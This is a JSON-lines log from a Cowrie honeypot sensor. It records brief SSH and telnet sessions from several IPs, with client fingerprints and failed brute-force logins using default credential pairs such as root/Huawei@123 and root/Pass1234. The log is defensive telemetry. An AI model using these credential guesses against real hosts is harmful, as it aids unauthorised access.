{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:35.530267Z","src_ip":"192.109.200.78","session":"9f9ab102fcda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:35.918498Z","src_ip":"176.65.139.95","session":"baa791d001a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:37.005783Z","src_ip":"176.65.139.95","session":"baa791d001a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36962,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a65f16a4c23","protocol":"ssh","message":"New connection: 192.109.200.78:36962 (159.203.135.109:22) [session: 8a65f16a4c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:38.015162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:38.019507Z","src_ip":"192.109.200.78","session":"8a65f16a4c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:38.251278Z","src_ip":"192.109.200.78","session":"8a65f16a4c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:38.574107Z","src_ip":"192.109.200.78","session":"8a65f16a4c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34304,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6c8cc97fb61","protocol":"ssh","message":"New connection: 159.203.92.129:34304 (159.203.135.109:22) [session: a6c8cc97fb61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:38.920223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:38.928534Z","src_ip":"159.203.92.129","session":"a6c8cc97fb61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:38.933771Z","src_ip":"159.203.92.129","session":"a6c8cc97fb61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Log","password":"Log123","message":"login attempt [Log/Log123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:38.944806Z","src_ip":"159.203.92.129","session":"a6c8cc97fb61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:39.660016Z","src_ip":"192.109.200.78","session":"8a65f16a4c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:39.950702Z","src_ip":"159.203.92.129","session":"a6c8cc97fb61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48216,"dst_ip":"159.203.135.109","dst_port":22,"session":"89742c9f298e","protocol":"ssh","message":"New connection: 176.65.139.95:48216 (159.203.135.109:22) [session: 89742c9f298e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:41.351342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:41.356331Z","src_ip":"176.65.139.95","session":"89742c9f298e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:41.438915Z","src_ip":"176.65.139.95","session":"89742c9f298e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:41.702072Z","src_ip":"176.65.139.95","session":"89742c9f298e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36976,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d623a2cd38d","protocol":"ssh","message":"New connection: 192.109.200.78:36976 (159.203.135.109:22) [session: 0d623a2cd38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:42.182376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:42.187149Z","src_ip":"192.109.200.78","session":"0d623a2cd38d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:42.269551Z","src_ip":"192.109.200.78","session":"0d623a2cd38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:42.516754Z","src_ip":"192.109.200.78","session":"0d623a2cd38d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:42.791801Z","src_ip":"176.65.139.95","session":"89742c9f298e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:43.605846Z","src_ip":"192.109.200.78","session":"0d623a2cd38d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36982,"dst_ip":"159.203.135.109","dst_port":22,"session":"136deb1f2f38","protocol":"ssh","message":"New connection: 192.109.200.78:36982 (159.203.135.109:22) [session: 136deb1f2f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:46.380553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:46.384877Z","src_ip":"192.109.200.78","session":"136deb1f2f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:46.470204Z","src_ip":"192.109.200.78","session":"136deb1f2f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:46.717782Z","src_ip":"192.109.200.78","session":"136deb1f2f38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48224,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e1aee92b705","protocol":"ssh","message":"New connection: 176.65.139.95:48224 (159.203.135.109:22) [session: 6e1aee92b705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:47.353464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:47.362428Z","src_ip":"176.65.139.95","session":"6e1aee92b705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:47.444211Z","src_ip":"176.65.139.95","session":"6e1aee92b705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:47.741253Z","src_ip":"176.65.139.95","session":"6e1aee92b705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:47.802718Z","src_ip":"192.109.200.78","session":"136deb1f2f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:48.834179Z","src_ip":"176.65.139.95","session":"6e1aee92b705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33286,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b4267b273a6","protocol":"ssh","message":"New connection: 192.109.200.78:33286 (159.203.135.109:22) [session: 8b4267b273a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:50.223397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:50.228336Z","src_ip":"192.109.200.78","session":"8b4267b273a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:50.438090Z","src_ip":"192.109.200.78","session":"8b4267b273a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:50.752671Z","src_ip":"192.109.200.78","session":"8b4267b273a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:51.838725Z","src_ip":"192.109.200.78","session":"8b4267b273a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44634,"dst_ip":"159.203.135.109","dst_port":22,"session":"80617e911a07","protocol":"ssh","message":"New connection: 176.65.139.95:44634 (159.203.135.109:22) [session: 80617e911a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:53.230978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:53.235428Z","src_ip":"176.65.139.95","session":"80617e911a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:53.317056Z","src_ip":"176.65.139.95","session":"80617e911a07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:53.582597Z","src_ip":"176.65.139.95","session":"80617e911a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00182867050171,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:53.831707Z","src_ip":"152.59.179.89","session":"9c1743a87899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48614,"dst_ip":"159.203.135.109","dst_port":22,"session":"09278e3c088a","protocol":"ssh","message":"New connection: 80.94.92.186:48614 (159.203.135.109:22) [session: 09278e3c088a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:54.305352Z"}
